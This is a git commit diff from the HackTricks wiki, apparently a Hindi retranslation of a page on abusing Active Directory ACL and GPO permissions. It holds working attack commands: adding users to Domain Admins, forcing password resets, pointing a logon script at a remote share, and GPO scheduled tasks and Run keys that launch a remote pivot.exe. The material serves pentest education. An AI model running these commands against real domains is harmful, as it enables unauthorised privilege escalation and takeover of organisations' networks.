Translated ['src/windows-hardening/active-directory-methodology/lansweep

This commit is contained in:
Translator 2025-08-28 10:58:50 +00:00
parent 942273942f
commit d34a0e86d7
4 changed files with 511 additions and 301 deletions

View File

@ -284,6 +284,7 @@
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
- [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)

File diff suppressed because it is too large Load Diff

View File

@ -2,70 +2,79 @@
{{#include ../../../banners/hacktricks-training.md}}
**यह पृष्ठ मुख्य रूप से** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **और** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)** से तकनीकों का एक सारांश है। अधिक विवरण के लिए, मूल लेखों की जांच करें।**
**यह पृष्ठ मुख्य रूप से इन तकनीकों का सारांश है:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **और** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**। अधिक विवरण के लिए मूल लेख देखें।**
## BadSuccessor
{{#ref}}
BadSuccessor.md
{{#endref}}
## **उपयोगकर्ता पर GenericAll अधिकार**
## **User पर GenericAll अधिकार**
यह विशेषाधिकार एक हमलावर को लक्षित उपयोगकर्ता खाते पर पूर्ण नियंत्रण प्रदान करता है। एक बार जब `GenericAll` अधिकारों की पुष्टि `Get-ObjectAcl` कमांड का उपयोग करके की जाती है, तो एक हमलावर कर सकता है:
यह विशेषाधिकार attacker को लक्ष्य user account पर पूर्ण नियंत्रण देता है। एक बार `GenericAll` अधिकार `Get-ObjectAcl` कमांड से पुष्टि हो जाने पर, attacker कर सकता है:
- **लक्षित का पासवर्ड बदलें**: `net user <username> <password> /domain` का उपयोग करके, हमलावर उपयोगकर्ता का पासवर्ड रीसेट कर सकता है।
- **लक्षित Kerberoasting**: उपयोगकर्ता के खाते को kerberoastable बनाने के लिए एक SPN असाइन करें, फिर Rubeus और targetedKerberoast.py का उपयोग करके टिकट-ग्रांटिंग टिकट (TGT) हैश को निकालें और क्रैक करने का प्रयास करें।
- **Change the Target's Password**: `net user <username> <password> /domain` का उपयोग करके attacker यूज़र का पासवर्ड रीसेट कर सकता है।
- **Targeted Kerberoasting**: यूज़र के खाते को SPN असाइन करके उसे kerberoastable बनाएं, फिर Rubeus और targetedKerberoast.py का उपयोग करके ticket-granting ticket (TGT) हेशेस निकालें और उन्हें क्रैक करने का प्रयास करें।
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए प्री-प्रमाणीकरण को निष्क्रिय करें, जिससे उनका खाता ASREPRoasting के लिए संवेदनशील हो जाता है
- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए pre-authentication अक्षम करें, जिससे उनका खाता ASREPRoasting के प्रति संवेदनशील हो जाए
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll अधिकार समूह पर**
यह विशेषाधिकार एक हमलावर को समूह की सदस्यता को नियंत्रित करने की अनुमति देता है यदि उनके पास `GenericAll` अधिकार हैं जैसे कि `Domain Admins` पर। समूह का विशिष्ट नाम पहचानने के बाद `Get-NetGroup` के साथ, हमलावर कर सकता है:
यह विशेषाधिकार attacker को समूह की सदस्यताओं को बदलने की अनुमति देता है यदि उनके पास किसी समूह जैसे `Domain Admins` पर `GenericAll` अधिकार हैं। `Get-NetGroup` से समूह का distinguished name पहचानने के बाद, attacker कर सकता है:
- **अपने आप को Domain Admins समूह में जोड़ें**: यह सीधे कमांड के माध्यम से या Active Directory या PowerSploit जैसे मॉड्यूल का उपयोग करके किया जा सकता है।
- **Domain Admins Group में खुद को जोड़ना**: इसे सीधे commands के माध्यम से या Active Directory या PowerSploit जैसे modules का उपयोग करके किया जा सकता है।
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
Linux से आप BloodyAD का उपयोग करके किसी भी समूह में खुद को जोड़ सकते हैं जब आपके पास उन पर GenericAll/Write membership हो। यदि लक्षित समूह “Remote Management Users” में nested है, तो आप उन hosts पर जो उस समूह का सम्मान करते हैं तुरंत WinRM access प्राप्त कर लेंगे:
```bash
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
# If the target group is member of "Remote Management Users", WinRM becomes available
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
```
## **GenericAll / GenericWrite / Write on Computer/User**
इन विशेषाधिकारों को एक कंप्यूटर ऑब्जेक्ट या एक उपयोगकर्ता खाते पर रखने से निम्नलिखित की अनुमति मिलती है:
किसी computer object या user account पर ये privileges होने से निम्न संभव होते हैं:
- **Kerberos Resource-based Constrained Delegation**: एक कंप्यूटर ऑब्जेक्ट पर नियंत्रण प्राप्त करने की अनुमति देता है।
- **Shadow Credentials**: इस तकनीक का उपयोग करके एक कंप्यूटर या उपयोगकर्ता खाते का अनुकरण करें, विशेषाधिकारों का उपयोग करके छाया क्रेडेंशियल बनाने के लिए।
- **Kerberos Resource-based Constrained Delegation**: एक computer object को हथियाने की अनुमति देता है।
- **Shadow Credentials**: इन privileges का फायदा उठाकर shadow credentials बनाने के जरिए किसी computer या user account की नकल करने के लिए इस technique का उपयोग किया जा सकता है
## **WriteProperty on Group**
यदि एक उपयोगकर्ता के पास एक विशिष्ट समूह (जैसे, `Domain Admins`) के सभी ऑब्जेक्ट्स पर `WriteProperty` अधिकार हैं, तो वे:
यदि किसी user के पास किसी विशेष group (उदा., `Domain Admins`) के सभी objects पर `WriteProperty` rights हैं, तो वे:
- **Add Themselves to the Domain Admins Group**: `net user` और `Add-NetGroupUser` कमांडों को मिलाकर यह संभव है, यह विधि डोमेन के भीतर विशेषाधिकार वृद्धि की अनुमति देती है।
- **Add Themselves to the Domain Admins Group**: `net user` और `Add-NetGroupUser` commands को मिलाकर हासिल किया जा सकता है; यह method domain के भीतर privilege escalation की अनुमति देती है।
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) on Group**
## **समूह पर Self (Self-Membership)**
यह विशेषाधिकार हमलावरों को `Domain Admins` जैसे विशिष्ट समूहों में स्वयं को जोड़ने की अनुमति देता है, ऐसे आदेशों के माध्यम से जो समूह सदस्यता को सीधे नियंत्रित करते हैं। निम्नलिखित आदेश अनुक्रम का उपयोग करके स्वयं को जोड़ा जा सकता है:
यह अधिकार हमलावरों को विशिष्ट समूहों, जैसे `Domain Admins`, में खुद को जोड़ने की अनुमति देता है, उन कमांड्स के माध्यम से जो समूह सदस्यता को सीधे बदलते हैं। निम्नलिखित कमांड अनुक्रम का उपयोग करके खुद को जोड़ना संभव है:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
एक समान विशेषाधिकार, यह हमलावरों को समूह गुणों को संशोधित करके सीधे समूहों में खुद को जोड़ने की अनुमति देता है यदि उनके पास उन समूहों पर `WriteProperty` अधिकार है। इस विशेषाधिकार की पुष्टि और निष्पादन किया जाता है:
यह एक समान privilege है — यदि किसी के पास उन समूहों पर `WriteProperty` अधिकार है तो वह समूह की properties बदलकर स्वयं को समूहों में सीधे जोड़ सकता है। इस privilege की पुष्टि और निष्पादन निम्न के साथ किए जाते हैं:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
`User-Force-Change-Password` के लिए एक उपयोगकर्ता पर `ExtendedRight` रखने से वर्तमान पासवर्ड को जाने बिना पासवर्ड रीसेट करने की अनुमति मिलती है। इस अधिकार की पुष्टि और इसके शोषण को PowerShell या वैकल्पिक कमांड-लाइन उपकरणों के माध्यम से किया जा सकता है, जो उपयोगकर्ता के पासवर्ड को रीसेट करने के लिए कई विधियाँ प्रदान करते हैं, जिसमें इंटरैक्टिव सत्र और गैर-इंटरैक्टिव वातावरण के लिए एक-लाइनर शामिल हैं। कमांड सरल PowerShell कॉल से लेकर Linux पर `rpcclient` का उपयोग करने तक होते हैं, जो हमले के वेक्टर की बहुपरकारीता को प्रदर्शित करता है
किसी उपयोगकर्ता पर `User-Force-Change-Password` के लिए `ExtendedRight` होने से वर्तमान पासवर्ड जाने बिना पासवर्ड रीसेट करने की अनुमति मिलती है। इस अधिकार की सत्यापन और इसका शोषण PowerShell या वैकल्पिक कमांड-लाइन टूल्स के माध्यम से किया जा सकता है, जो उपयोगकर्ता के पासवर्ड को रीसेट करने के कई तरीके प्रदान करते हैं — interactive sessions और non-interactive environments के लिए one-liners सहित। कमांड सरल PowerShell invocations से लेकर Linux पर `rpcclient` के उपयोग तक होते हैं, जो attack vectors की बहुमुखी प्रतिभा प्रदर्शित करते हैं
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
@ -76,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **WriteOwner on Group**
## **समूह पर WriteOwner**
यदि एक हमलावर को पता चलता है कि उनके पास एक समूह पर `WriteOwner` अधिकार हैं, तो वे समूह की स्वामित्व को अपने नाम पर बदल सकते हैं। यह विशेष रूप से प्रभावशाली होता है जब संबंधित समूह `Domain Admins`ै, क्योंकि स्वामित्व बदलने से समूह के गुणों और सदस्यता पर व्यापक नियंत्रण प्राप्त होता है। प्रक्रिया में `Get-ObjectAcl` के माध्यम से सही ऑब्जेक्ट की पहचान करना और फिर `Set-DomainObjectOwner` का उपयोग करके स्वामी को SID या नाम द्वारा संशोधित करना शामिल है।
यदि किसी हमलावर को किसी समूह पर `WriteOwner` अधिकार मिलते हैं, तो वे उस समूह का स्वामित्व खुद पर बदल सकते हैं। यह विशेष रूप से तब प्रभावशाली होता है जब संबंधित समूह `Domain Admins`ो, क्योंकि स्वामित्व बदलने से समूह की विशेषताओं और सदस्यता पर व्यापक नियंत्रण मिल जाता है। प्रक्रया में सही ऑब्जेक्ट की पहचान `Get-ObjectAcl` के द्वारा करना और फिर मालिक को SID या नाम के जरिए बदलने के लिए `Set-DomainObjectOwner` का उपयोग करना शामिल है।
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -86,13 +95,15 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
यह अनुमति एक हमलावर को उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देती है। विशेष रूप से, `GenericWrite` पहुंच के साथ, हमलावर उपयोगकर्ता के लॉगिन स्क्रिप्ट पथ को बदल सकता है ताकि उपयोगकर्ता लॉगिन पर एक दुर्भावनापूर्ण स्क्रिप्ट निष्पादित हो सके। यह `Set-ADObject` कमांड का उपयोग करके लक्षित उपयोगकर्ता क`scriptpath` संपत्ति को हमलावर की स्क्रिप्ट की ओर इंगित करने के लिए अपडेट करके प्राप्त किया जाता है।
यह अनुमति हमलावर को उपयोगकर्ता गुणों को संशोधित करने की अनुमति देती है। विशेष रूप से, `GenericWrite` एक्सेस के साथ, हमलावर किसी उपयोगकर्ता के लॉगऑन स्क्रिप्ट पाथ को बदल सकता है ताकि उपयोगकर्ता लॉगऑन पर एक हानिकारक स्क्रिप्ट निष्पादित हो। यह `Set-ADObject` कमांड का उपयोग करके हासिल किया जाता है, जो लक्षित उपयोगकर्ता क`scriptpath` प्रॉपर्टी को हमलावर की स्क्रिप्ट की ओर निर्देशित करने के लिए अपडेट करता है।
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
इस विशेषाधिकार के साथ, हमलावर समूह की सदस्यता को नियंत्रित कर सकते हैं, जैसे कि खुद को या अन्य उपयोगकर्ताओं को विशिष्ट समूहों में जोड़ना। इस प्रक्रिया में एक क्रेडेंशियल ऑब्जेक्ट बनाना, इसका उपयोग करके समूह से उपयोगकर्ताओं को जोड़ना या हटाना, और PowerShell कमांड के साथ सदस्यता परिवर्तनों की पुष्टि करना शामिल है।
इस privilege के साथ, attackers group membership को बदल सकते हैं — उदाहरण के तौर पर वे खुद को या अन्य users को specific groups में जोड़ सकते हैं।
इस प्रक्रिया में एक credential object बनाना शामिल है, उसे group में users को जोड़ने या हटाने के लिए उपयोग करना, और membership में हुए बदलावों को PowerShell commands से सत्यापित करना।
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -102,7 +113,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
AD ऑब्जेक्ट का मालिक होना और उस पर `WriteDACL` विशेषाधिकार होना एक हमलावर को ऑब्जेक्ट पर `GenericAll` विशेषाधिकार देने की अनुमति देता है। यह ADSI हेरफेर के माध्यम से पूरा किया जाता है, जो ऑब्जेक्ट पर पूर्ण नियंत्रण और इसके समूह सदस्यताओं को संशोधित करने की क्षमता प्रदान करता है। इसके बावजूद, Active Directory मॉड्यूल के `Set-Acl` / `Get-Acl` cmdlets का उपयोग करके इन विशेषाधिकारों का शोषण करने में सीमाएँ हैं।
AD object का मालिक होना और उस पर `WriteDACL` privileges होना एक attacker को उस object पर खुद को `GenericAll` privileges दे पाने में सक्षम बनाता है। यह ADSI manipulation के माध्यम से किया जाता है, जिससे object पर पूरा control मिलता है और इसके group memberships को modify करने की क्षमता मिलती है। इसके बावजूद, Active Directory module के `Set-Acl` / `Get-Acl` cmdlets का इस्तेमाल करके इन privileges का exploit करने में सीमाएँ मौजूद हैं।
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -110,64 +121,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
## **डोमेन पर पुनरुत्पादन (DCSync)**
## **डोमेन पर प्रतिकरण (DCSync)**
DCSync हमला डोमेन पर विशिष्ट पुनरुत्पादन अनुमतियों का लाभ उठाता है ताकि एक डोमेन कंट्रोलर की नकल की जा सके और डेटा को समन्वयित किया जा सके, जिसमें उपयोगकर्ता क्रेडेंशियल शामिल हैं। यह शक्तिशाली तकनीक `DS-Replication-Get-Changes` जैसी अनुमतियों की आवश्यकता होती है, जिससे हमलावरों को डोमेन कंट्रोलर तक सीधे पहुंच के बिना AD वातावरण से संवेदनशील जानकारी निकालने की अनुमति मिलती है। [**DCSync हमले के बारे में अधिक जानें।**](../dcsync.md)
DCSync attack डोमेन पर विशिष्ट प्रतिकरण अनुमतियों का उपयोग करके एक Domain Controller की नकल करता है और डेटा, जिसमें user credentials शामिल हैं, सिंक्रोनाइज़ करता है। यह शक्तिशाली तकनीक `DS-Replication-Get-Changes` जैसी permissions की आवश्यकता करती है, जो attackers को AD वातावरण से संवेदनशील जानकारी सीधे Domain Controller तक पहुँच के बिना निकालने की अनुमति देती है। [**Learn more about the DCSync attack here.**](../dcsync.md)
## GPO प्रतिनिधित्व <a href="#gpo-delegation" id="gpo-delegation"></a>
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO प्रतिनिधित्व
### GPO Delegation
ग्रुप पॉलिसी ऑब्जेक्ट्स (GPOs) को प्रबंधित करने के लिए प्रतिनिधि पहुंच महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत कर सकती है। उदाहरण के लिए, यदि किसी उपयोगकर्ता जैसे `offense\spotless` को GPO प्रबंधन अधिकार सौंपे जाते हैं, तो उनके पास **WriteProperty**, **WriteDacl**, और **WriteOwner** जैसी विशेषताएँ हो सकती हैं। इन अनुमतियों का दुरुपयोग दुर्भावनापूर्ण उद्देश्यों के लिए किया जा सकता है, जैसा कि PowerView का उपयोग करके पहचाना गया: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
Group Policy Objects (GPOs) को प्रबंधित करने के लिए delegated access गंभीर सुरक्षा जोखिम पैदा कर सकता है। उदाहरण के लिए, अगर किसी उपयोगकर्ता जैसे `offense\spotless` को GPO प्रबंधन अधिकार delegated किए गए हैं, तो उसे **WriteProperty**, **WriteDacl**, और **WriteOwner** जैसी privileges मिल सकती हैं। इन permissions का दुरुपयोग malicious उद्देश्यों के लिए किया जा सकता है, जैसा कि PowerView का उपयोग कर पहचाना जा सकता है: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### GPO अनुमतियों की गणना करें
### GPO अनुमतियाँ सूचीबद्ध करें
गलत कॉन्फ़िगर किए गए GPOs की पहचान करने के लिए, PowerSploit के cmdlets को एक साथ जोड़ा जा सकता है। यह एक विशिष्ट उपयोगकर्ता के प्रबंधित करने के लिए अनुमतियों वाले GPOs की खोज की अनुमति देता है: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
गलत कॉन्फ़िगर किए गए GPOs की पहचान करने के लिए, PowerSploit के cmdlets को chained किया जा सकता है। इससे उन GPOs की खोज होती है जिन्हें किसी विशिष्ट उपयोगकर्ता के पास manage करने की permissions हैं: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**एक दिए गए नीति के साथ कंप्यूटर**: यह निर्धारित करना संभव है कि एक विशिष्ट GPO किन कंप्यूटरों पर लागू होता है, जिससे संभावित प्रभाव के दायरे को समझने में मदद मिलती है। `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Computers with a Given Policy Applied**: यह पता लगाना संभव है कि कोई विशिष्ट GPO किन कंप्यूटरों पर लागू है, जिससे संभावित प्रभाव का दायरा समझने में मदद मिलती है। `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**एक दिए गए कंप्यूटर पर लागू नीतियाँ**: यह देखने के लिए कि किसी विशेष कंप्यूटर पर कौन सी नीतियाँ लागू हैं, `Get-DomainGPO` जैसे कमांड का उपयोग किया जा सकता है।
**Policies Applied to a Given Computer**: किसी विशेष कंप्यूटर पर कौन-सी policies लागू हैं देखने के लिए, `Get-DomainGPO` जैसे commands का उपयोग किया जा सकता है।
**एक दिए गए नीति के साथ OUs**: एक दिए गए नीति से प्रभावित संगठनात्मक इकाइयों (OUs) की पहचान `Get-DomainOU` का उपयोग करके की जा सकती है।
**OUs with a Given Policy Applied**: किसी दिए गए policy से प्रभावित organizational units (OUs) की पहचान `Get-DomainOU` का उपयोग करके की जा सकती है।
आप GPOs की गणना करने और उनमें समस्याएँ खोजने के लिए [**GPOHound**](https://github.com/cogiceo/GPOHound) उपकरण का भी उपयोग कर सकते हैं।
आप [**GPOHound**](https://github.com/cogiceo/GPOHound) टूल का उपयोग करके GPOs सूचीबद्ध कर सकते हैं और उनमें समस्याएँ ढूँढ सकते हैं।
### GPO का दुरुपयोग - New-GPOImmediateTask
गलत कॉन्फ़िगर किए गए GPOs का उपयोग कोड निष्पादित करने के लिए किया जा सकता है, उदाहरण के लिए, एक तात्कालिक अनुसूचित कार्य बनाने के द्वारा। यह प्रभावित मशीनों पर स्थानीय प्रशासकों समूह में एक उपयोगकर्ता जोड़ने के लिए किया जा सकता है, जिससे विशेषाधिकार में महत्वपूर्ण वृद्धि होती है:
गलत कॉन्फ़िगर किए गए GPOs का exploit करके कोड execute कराया जा सकता है — उदाहरण के तौर पर एक immediate scheduled task बनाकर। इससे प्रभावित मशीनों पर किसी user को local administrators group में जोड़ा जा सकता है, जो privileges को काफी बढ़ा देता है:
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Abuse GPO
GroupPolicy मॉड्यूल, यदि स्थापित है, तो नए GPO बनाने और लिंक करने की अनुमति देता है, और प्रभावित कंप्यूटरों पर बैकडोर निष्पादित करने के लिए रजिस्ट्री मान जैसे प्राथमिकताएँ सेट करता है। इस विधि के लिए GPO को अपडेट करना और कंप्यूटर पर निष्पादन के लिए एक उपयोगकर्ता का लॉग इन करना आवश्यक है:
यदि GroupPolicy module इंस्टॉल है, तो यह नए GPOs बनाने और लिंक करने, तथा प्रभावित कंप्यूटरों पर backdoors चलाने के लिए registry values जैसी preferences सेट करने की अनुमति देता है। यह तरीका निष्पादन के लिए GPO के अपडेट होने और एक user के कंप्यूटर में लॉगिन करने पर निर्भर करता है:
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
### SharpGPOAbuse - GPO का दुरुपयोग
### SharpGPOAbuse - Abuse GPO
SharpGPOAbuse मौजूदा GPOs का दुरुपयोग करने के लिए एक विधि प्रदान करता है, जिसमें नए GPOs बनाने की आवश्यकता के बिना कार्य जोड़ना या सेटिंग्स को संशोधित करना शामिल है। इस उपकरण को परिवर्तन लागू करने से पहले मौजूदा GPOs में संशोधन करने या नए बनाने के लिए RSAT उपकरणों का उपयोग करने की आवश्यकता होती है:
SharpGPOAbuse मौजूदा GPOs का दुरुपयोग करने का एक तरीका प्रदान करता है, जैसे कि टास्क जोड़कर या सेटिंग्स बदलकर — नए GPOs बनाने की आवश्यकता के बिना। यह टूल परिवर्तनों को लागू करने से पहले मौजूदा GPOs में संशोधन या नए GPOs बनाने के लिए RSAT tools के उपयोग की आवश्यकता रखता है:
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### नीति अपडेट को मजबूर करना
### Force Policy Update
GPO अपडेट आमतौर पर हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज़ करने के लिए, विशेष रूप से परिवर्तन लागू करने के बाद, लक्ष्य कंप्यूटर पर `gpupdate /force` कमांड का उपयोग किया जा सकता है ताकि तुरंत नीति अपडेट को मजबूर किया जा सके। यह कमांड सुनिश्चित करता है कि GPO में किए गए किसी भी संशोधन को अगले स्वचालित अपडेट चक्र की प्रतीक्षा किए बिना लागू किया जाए
GPO अपडेट सामान्यतः लगभग हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज करने के लिए, विशेषकर किसी बदलाव के बाद, लक्षित कंप्यूटर पर `gpupdate /force` कमांड का उपयोग करके तत्काल नीति अपडेट लागू कराया जा सकता है। यह कमांड सुनिश्चित करता है कि GPOs में किए गए किसी भी संशोधन को अगले स्वचालित अपडेट चक्र का इंतजार किए बिना लागू किया जा सके
### अंदर की बात
### आंतरिक विवरण
किसी दिए गए GPO के लिए अनुसूचित कार्यों की जांच करने पर, जैसे कि `Misconfigured Policy`, कार्यों की जैसे `evilTask` की अतिरिक्तता की पुष्टि की जा सकती है। ये कार्य स्क्रिप्ट या कमांड-लाइन उपकरणों के माध्यम से बनाए जाते हैं जो सिस्टम व्यवहार को संशोधित करने या विशेषाधिकार बढ़ाने का लक्ष्य रखते हैं
किसी दिए गए GPO के Scheduled Tasks की जाँच करने पर, जैसे कि `Misconfigured Policy`, यह पुष्टि की जा सकती है कि `evilTask` जैसे कार्य जोड़े गए हैं। ये कार्य स्क्रिप्ट्स या कमांड-लाइन टूल्स के माध्यम से बनाए जाते हैं जिनका उद्देश्य सिस्टम के व्यवहार में बदलाव करना या privileges बढ़ाना होता है
कार्य की संरचना, जैसा कि `New-GPOImmediateTask` द्वारा उत्पन्न XML कॉन्फ़िगरेशन फ़ाइल में दिखाया गया है, अनुसूचित कार्य की विशिष्टताओं को रेखांकित करती है - जिसमें निष्पादित करने के लिए कमांड और इसके ट्रिगर्स शामिल हैं। यह फ़ाइल दर्शाती है कि GPOs के भीतर अनुसूचित कार्यों को कैसे परिभाषित और प्रबंधित किया जाता है, नीति प्रवर्तन के हिस्से के रूप में मनमाने कमांड या स्क्रिप्ट को निष्पादित करने के लिए एक विधि प्रदान करती है।
टास्क की संरचना, जो `New-GPOImmediateTask` द्वारा जनरेट की गई XML कॉन्फ़िगरेशन फ़ाइल में दिखती है, अनुसूचित कार्य के विशिष्ट विवरणों को रेखांकित करती है — जिसमें निष्पादित किए जाने वाले कमांड और उनके ट्रिगर्स शामिल हैं। यह फ़ाइल दर्शाती है कि GPOs के भीतर scheduled tasks कैसे परिभाषित और प्रबंधित होते हैं, और नीति लागू करने के हिस्से के रूप में arbitrary commands या scripts को निष्पादित करने का एक तरीका प्रदान करती है।
### उपयोगकर्ता और समूह
GPOs लक्ष्य प्रणालियों पर उपयोगकर्ता और समूह सदस्यताओं में हेरफेर की अनुमति भी देते हैं। उपयोगकर्ता और समूह नीति फ़ाइलों को सीधे संपादित करके, हमलावर विशेषाधिकार प्राप्त समूहों, जैसे कि स्थानीय `administrators` समूह में उपयोगकर्ताओं को जोड़ सकते हैं। यह GPO प्रबंधन अनुमतियों के प्रतिनिधित्व के माध्यम से संभव है, जो नीति फ़ाइलों को नए उपयोगकर्ताओं को शामिल करने या समूह सदस्यताओं को बदलने के लिए संशोधित करने की अनुमति देता है।
GPOs लक्षित सिस्टम पर उपयोगकर्ता और समूह सदस्यताओं के हेरफेर की अनुमति भी देते हैं। Users and Groups नीति फ़ाइलों को सीधे संपादित करके, हमलावर उपयोगकर्ताओं को विशेषाधिकार प्राप्त समूहों में जोड़ सकते हैं, जैसे कि स्थानीय `administrators` समूह। यह GPO प्रबंधन अनुमतियों के delegation के माध्यम से संभव होता है, जो नीति फ़ाइलों में नए उपयोगकर्ता जोड़ने या समूह सदस्यताओं को बदलने की अनुमति देता है।
उपयोगकर्ता और समूह के लिए XML कॉन्फ़िगरेशन फ़ाइल यह रेखांकित करती है कि ये परिवर्तन कैसे लागू किए जाते हैं। इस फ़ाइल में प्रविष्टियाँ जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित प्रणालियों में उच्च विशेषाधिकार दिए जा सकते हैं। यह विधि GPO हेरफेर के माध्यम से विशेषाधिकार बढ़ाने के लिए एक सीधा दृष्टिकोण प्रदान करती है।
Users and Groups के लिए XML कॉन्फ़िगरेशन फ़ाइल यह दर्शाती है कि ये बदलाव कैसे लागू किए जाते हैं। इस फ़ाइल में प्रविष्टियाँ जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित प्रणालियों में बढ़े हुए विशेषाधिकार दिए जा सकते हैं। यह विधि GPO हेरफेर के माध्यम से privilege escalation का एक सीधा तरीका प्रदान करती है।
इसके अलावा, कोड निष्पादित करने या स्थिरता बनाए रखने के लिए अतिरिक्त विधियाँ, जैसे कि लॉगिन/लॉगऑफ स्क्रिप्ट का लाभ उठाना, ऑटो-रन के लिए रजिस्ट्री कुंजियों को संशोधित करना, .msi फ़ाइलों के माध्यम से सॉफ़्टवेयर स्थापित करना, या सेवा कॉन्फ़िगरेशन को संपादित करना भी विचार किया जा सकता है। ये तकनीकें GPOs के दुरुपयोग के माध्यम से लक्ष्य प्रणालियों पर पहुंच बनाए रखने और नियंत्रण करने के लिए विभिन्न मार्ग प्रदान करती हैं।
